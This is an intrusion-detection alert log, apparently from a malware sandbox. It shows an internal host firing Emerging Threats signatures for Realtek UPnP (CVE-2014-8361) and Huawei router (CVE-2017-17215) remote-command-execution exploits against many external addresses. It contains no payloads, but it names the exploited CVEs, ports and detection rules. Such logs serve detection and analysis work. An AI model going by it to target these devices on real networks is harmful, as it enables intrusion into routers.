07/20/24-23:01:06.343371	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36614	52869	192.168.2.14	58.141.211.31
07/20/24-23:01:14.472855	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60756	37215	192.168.2.14	41.167.46.159
07/20/24-23:01:13.330329	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47916	52869	192.168.2.14	13.188.216.17
07/20/24-23:01:29.572433	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40168	52869	192.168.2.14	223.29.150.196
07/20/24-23:01:33.647102	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57378	52869	192.168.2.14	90.112.65.145
07/20/24-23:01:29.169846	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45252	52869	192.168.2.14	19.5.103.108
07/20/24-23:01:29.170361	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49984	52869	192.168.2.14	66.251.168.249
07/20/24-23:01:33.046879	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42800	37215	192.168.2.14	41.172.66.80
07/20/24-23:01:02.407252	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53052	37215	192.168.2.14	124.232.166.233
07/20/24-23:01:14.401421	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59984	37215	192.168.2.14	41.23.39.109
07/20/24-23:01:05.905239	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57976	37215	192.168.2.14	151.173.29.9
07/20/24-23:01:05.253611	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34388	52869	192.168.2.14	34.37.107.29
07/20/24-23:01:28.195717	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51224	37215	192.168.2.14	41.43.99.251
07/20/24-23:01:25.291116	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59040	37215	192.168.2.14	41.90.227.167
07/20/24-23:01:05.843043	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50862	52869	192.168.2.14	151.136.169.42
07/20/24-23:01:05.577225	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59540	52869	192.168.2.14	128.98.160.122
07/20/24-23:01:34.927043	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53100	52869	192.168.2.14	178.14.114.28
07/20/24-23:01:37.122115	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46260	37215	192.168.2.14	157.59.9.253
07/20/24-23:01:05.893818	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35786	37215	192.168.2.14	41.204.105.129
07/20/24-23:01:19.337916	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58104	37215	192.168.2.14	157.38.134.195
07/20/24-23:01:29.172557	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46648	52869	192.168.2.14	172.198.125.221
07/20/24-23:01:28.350983	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45728	37215	192.168.2.14	41.106.174.202
07/20/24-23:01:02.414527	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45068	37215	192.168.2.14	197.153.186.108
07/20/24-23:01:14.397263	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40804	37215	192.168.2.14	157.181.67.71
07/20/24-23:01:28.143795	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59342	37215	192.168.2.14	197.203.75.68
07/20/24-23:01:13.329544	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44252	52869	192.168.2.14	160.191.28.144
07/20/24-23:01:33.070886	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57058	37215	192.168.2.14	193.123.123.238
07/20/24-23:01:34.945580	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35542	52869	192.168.2.14	223.125.41.63
07/20/24-23:01:05.927305	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50314	37215	192.168.2.14	197.195.21.87
07/20/24-23:01:25.283485	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35192	37215	192.168.2.14	157.194.90.237
07/20/24-23:01:11.481655	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34284	37215	192.168.2.14	197.221.222.140
07/20/24-23:01:19.335313	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55950	37215	192.168.2.14	157.71.235.143
07/20/24-23:01:11.472603	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34266	37215	192.168.2.14	41.244.153.19
07/20/24-23:01:34.908060	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45048	52869	192.168.2.14	75.5.28.91
07/20/24-23:01:13.333147	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58806	52869	192.168.2.14	85.70.210.244
07/20/24-23:01:25.280461	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49396	37215	192.168.2.14	94.243.104.87
07/20/24-23:01:29.563395	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55074	52869	192.168.2.14	81.96.77.48
07/20/24-23:01:34.920870	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48136	52869	192.168.2.14	142.116.242.190
07/20/24-23:01:24.833522	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36028	52869	192.168.2.14	166.213.219.123
07/20/24-23:01:37.163818	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49332	37215	192.168.2.14	41.141.57.214
07/20/24-23:01:34.949876	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40684	52869	192.168.2.14	115.207.235.241
07/20/24-23:01:02.415804	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47970	37215	192.168.2.14	41.248.220.216
07/20/24-23:01:30.632085	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57702	52869	192.168.2.14	124.185.245.199
07/20/24-23:01:22.784106	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48368	37215	192.168.2.14	197.215.131.235
07/20/24-23:01:29.693794	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45684	52869	192.168.2.14	198.58.137.77
07/20/24-23:01:23.155941	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45930	52869	192.168.2.14	186.224.19.191
07/20/24-23:01:28.145934	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35902	37215	192.168.2.14	157.226.137.50
07/20/24-23:01:19.221388	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46384	37215	192.168.2.14	157.213.47.9
07/20/24-23:01:33.591597	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43896	52869	192.168.2.14	91.156.224.14
07/20/24-23:01:22.785873	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40026	37215	192.168.2.14	41.127.18.213
07/20/24-23:01:14.452336	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38716	37215	192.168.2.14	143.52.168.238
07/20/24-23:01:13.335418	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36292	52869	192.168.2.14	177.232.37.130
07/20/24-23:01:37.166003	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44090	37215	192.168.2.14	157.126.229.147
07/20/24-23:01:22.776061	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52598	37215	192.168.2.14	41.189.212.63
07/20/24-23:01:05.920730	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59830	37215	192.168.2.14	197.56.204.138
07/20/24-23:01:29.171113	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35368	52869	192.168.2.14	94.216.126.93
07/20/24-23:01:25.230671	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52352	37215	192.168.2.14	92.118.222.254
07/20/24-23:01:34.899753	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56970	52869	192.168.2.14	87.184.45.167
07/20/24-23:01:25.283485	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50314	37215	192.168.2.14	17.191.17.248
07/20/24-23:01:37.160288	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54352	37215	192.168.2.14	169.141.152.236
07/20/24-23:01:13.330793	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44640	52869	192.168.2.14	99.58.61.9
07/20/24-23:01:25.293652	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37198	37215	192.168.2.14	41.89.65.109
07/20/24-23:01:05.898116	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60744	37215	192.168.2.14	41.176.13.97
07/20/24-23:01:22.857863	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42150	52869	192.168.2.14	178.190.243.0
07/20/24-23:01:37.222600	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52084	37215	192.168.2.14	157.112.206.46
07/20/24-23:01:34.931386	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34882	52869	192.168.2.14	117.101.242.241
07/20/24-23:01:28.195717	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37986	37215	192.168.2.14	197.25.181.212
07/20/24-23:01:06.285046	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59942	52869	192.168.2.14	178.57.58.147
07/20/24-23:01:11.452806	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41070	37215	192.168.2.14	157.78.140.44
07/20/24-23:01:25.298710	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47132	37215	192.168.2.14	197.193.147.74
07/20/24-23:01:07.679354	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40496	37215	192.168.2.14	197.100.42.90
07/20/24-23:01:29.170915	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51244	52869	192.168.2.14	196.128.196.44
07/20/24-23:01:14.406186	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58358	37215	192.168.2.14	157.141.124.42
07/20/24-23:01:28.216939	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60942	37215	192.168.2.14	197.137.250.99
07/20/24-23:01:32.765427	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60128	52869	192.168.2.14	104.41.121.72
07/20/24-23:01:28.200134	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34186	37215	192.168.2.14	157.93.65.112
07/20/24-23:01:05.895754	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38070	37215	192.168.2.14	157.69.199.211
07/20/24-23:01:37.234827	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50860	37215	192.168.2.14	197.163.35.115
07/20/24-23:01:33.376807	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45678	52869	192.168.2.14	144.32.157.121
07/20/24-23:01:13.330651	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39940	52869	192.168.2.14	156.230.140.45
07/20/24-23:01:29.172557	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37482	52869	192.168.2.14	2.153.113.72
07/20/24-23:01:19.233507	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32940	37215	192.168.2.14	141.111.126.230
07/20/24-23:01:22.785873	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50748	37215	192.168.2.14	157.63.116.137
07/20/24-23:01:34.923716	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47506	52869	192.168.2.14	144.32.157.121
07/20/24-23:01:13.335387	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37074	52869	192.168.2.14	60.154.99.20
07/20/24-23:01:33.908831	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48184	52869	192.168.2.14	163.184.63.212
07/20/24-23:01:34.927043	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34734	52869	192.168.2.14	151.151.89.112
07/20/24-23:01:22.792727	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35516	37215	192.168.2.14	2.51.166.193
07/20/24-23:01:19.334911	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49046	37215	192.168.2.14	209.164.107.20
07/20/24-23:01:05.920528	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57084	37215	192.168.2.14	197.82.199.168
07/20/24-23:01:13.333349	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54312	52869	192.168.2.14	36.44.157.9
07/20/24-23:01:11.460861	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41180	37215	192.168.2.14	134.200.224.101
07/20/24-23:01:34.911761	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51308	52869	192.168.2.14	194.97.213.111
07/20/24-23:01:05.927305	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51956	37215	192.168.2.14	112.118.31.143
07/20/24-23:01:11.472602	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42530	37215	192.168.2.14	157.4.242.103
07/20/24-23:01:13.332051	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52922	52869	192.168.2.14	154.234.222.130
07/20/24-23:01:22.796666	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36550	37215	192.168.2.14	157.77.118.133
07/20/24-23:01:24.987343	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58176	52869	192.168.2.14	167.169.213.136
07/20/24-23:01:34.995513	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60212	52869	192.168.2.14	124.36.191.164
07/20/24-23:01:13.332172	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46872	52869	192.168.2.14	141.224.95.108
07/20/24-23:01:19.222597	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54498	37215	192.168.2.14	74.70.219.36
07/20/24-23:01:33.879619	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43790	52869	192.168.2.14	94.172.116.232
07/20/24-23:01:28.143794	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45436	37215	192.168.2.14	197.136.216.172
07/20/24-23:01:11.480465	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32918	37215	192.168.2.14	24.11.27.243
07/20/24-23:01:24.721637	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51598	52869	192.168.2.14	167.31.141.74
07/20/24-23:01:11.461274	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47040	37215	192.168.2.14	41.183.70.1
07/20/24-23:01:07.658956	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49118	37215	192.168.2.14	108.92.57.223
07/20/24-23:01:25.287093	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36742	37215	192.168.2.14	197.200.137.216
07/20/24-23:01:25.473995	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46966	52869	192.168.2.14	60.101.77.2
07/20/24-23:01:33.068258	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50026	37215	192.168.2.14	41.108.162.26
07/20/24-23:01:24.075444	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50780	52869	192.168.2.14	23.185.180.14
07/20/24-23:01:25.285323	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36668	37215	192.168.2.14	90.236.30.131
07/20/24-23:01:24.453373	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55386	52869	192.168.2.14	216.167.162.18
07/20/24-23:01:14.397175	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44530	37215	192.168.2.14	157.101.182.69
07/20/24-23:01:05.897173	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47400	37215	192.168.2.14	92.64.109.2
07/20/24-23:01:11.461509	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53558	37215	192.168.2.14	157.61.214.108
07/20/24-23:01:22.991703	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51302	52869	192.168.2.14	54.211.16.108
07/20/24-23:01:02.409131	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43282	37215	192.168.2.14	157.135.213.6
07/20/24-23:01:29.175082	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37626	52869	192.168.2.14	128.88.211.196
07/20/24-23:01:13.330569	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56976	52869	192.168.2.14	79.163.220.136
07/20/24-23:01:19.227177	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49070	37215	192.168.2.14	120.181.248.17
07/20/24-23:01:19.225050	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49626	37215	192.168.2.14	157.163.127.218
07/20/24-23:01:07.662924	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35716	37215	192.168.2.14	157.40.172.177
07/20/24-23:01:34.901553	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60036	52869	192.168.2.14	46.136.73.170
07/20/24-23:01:33.046879	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58318	37215	192.168.2.14	73.33.53.195
07/20/24-23:01:07.674222	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43034	37215	192.168.2.14	157.29.81.159
07/20/24-23:01:05.593053	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35304	52869	192.168.2.14	162.57.74.72
07/20/24-23:01:34.920034	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58676	52869	192.168.2.14	74.98.6.90
07/20/24-23:01:25.301172	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38882	52869	192.168.2.14	118.185.55.220
07/20/24-23:01:07.662924	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35436	37215	192.168.2.14	197.175.37.183
07/20/24-23:01:25.288605	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34602	37215	192.168.2.14	157.41.26.77
07/20/24-23:01:34.685918	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55730	52869	192.168.2.14	89.251.44.55
07/20/24-23:01:19.224455	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54120	37215	192.168.2.14	197.112.129.130
07/20/24-23:01:05.911930	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55142	37215	192.168.2.14	119.104.173.17
07/20/24-23:01:28.196415	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36600	37215	192.168.2.14	157.69.27.5
07/20/24-23:01:07.680463	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43712	37215	192.168.2.14	41.167.203.181
07/20/24-23:01:22.862534	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50534	52869	192.168.2.14	23.185.180.14
07/20/24-23:01:30.986774	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46482	52869	192.168.2.14	203.116.243.30
07/20/24-23:01:37.199306	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49854	37215	192.168.2.14	197.254.233.192
07/20/24-23:01:19.235468	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54416	37215	192.168.2.14	41.243.5.48
07/20/24-23:01:22.786757	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48482	37215	192.168.2.14	157.156.107.84
07/20/24-23:01:28.180178	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43986	37215	192.168.2.14	197.232.244.140
07/20/24-23:01:28.195717	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44260	37215	192.168.2.14	197.83.100.55
07/20/24-23:01:37.166003	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38404	37215	192.168.2.14	45.192.212.1
07/20/24-23:01:13.333076	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47228	52869	192.168.2.14	40.224.141.14
07/20/24-23:01:05.773628	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44526	52869	192.168.2.14	40.180.122.90
07/20/24-23:01:06.216684	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41774	52869	192.168.2.14	74.231.66.1
07/20/24-23:01:25.288927	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36914	37215	192.168.2.14	157.52.131.170
07/20/24-23:01:13.333076	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41730	52869	192.168.2.14	117.199.176.147
07/20/24-23:01:33.070886	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32990	37215	192.168.2.14	197.29.143.61
07/20/24-23:01:22.784106	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60936	37215	192.168.2.14	41.205.212.227
07/20/24-23:01:33.050087	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56428	37215	192.168.2.14	157.117.197.118
07/20/24-23:01:02.412914	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35314	37215	192.168.2.14	157.75.252.43
07/20/24-23:01:13.330072	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34968	52869	192.168.2.14	101.191.129.126
07/20/24-23:01:05.927305	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38678	37215	192.168.2.14	197.147.15.112
07/20/24-23:01:32.812681	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49472	52869	192.168.2.14	45.184.153.75
07/20/24-23:01:14.398477	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39542	37215	192.168.2.14	157.163.89.230
07/20/24-23:01:05.912005	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38228	37215	192.168.2.14	157.164.58.12
07/20/24-23:01:25.489348	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39094	52869	192.168.2.14	207.154.52.96
07/20/24-23:01:33.382308	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33694	52869	192.168.2.14	66.20.90.81
07/20/24-23:01:13.332899	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55020	52869	192.168.2.14	168.236.58.106
07/20/24-23:01:14.398477	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53190	37215	192.168.2.14	157.6.111.127
07/20/24-23:01:14.397956	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54992	37215	192.168.2.14	157.149.78.123
07/20/24-23:01:02.408597	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60734	37215	192.168.2.14	197.40.93.165
07/20/24-23:01:05.542205	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54374	52869	192.168.2.14	174.69.237.0
07/20/24-23:01:19.225050	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42398	37215	192.168.2.14	157.101.146.147
07/20/24-23:01:25.282553	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43978	37215	192.168.2.14	197.62.151.34
07/20/24-23:01:05.533350	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35510	52869	192.168.2.14	146.178.29.63
07/20/24-23:01:05.776042	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37992	52869	192.168.2.14	64.213.179.125
07/20/24-23:01:13.331934	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46390	52869	192.168.2.14	188.154.109.67
07/20/24-23:01:37.120918	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45242	37215	192.168.2.14	157.61.237.244
07/20/24-23:01:02.410541	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53792	37215	192.168.2.14	197.95.27.148
07/20/24-23:01:25.281671	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59398	37215	192.168.2.14	157.221.76.168
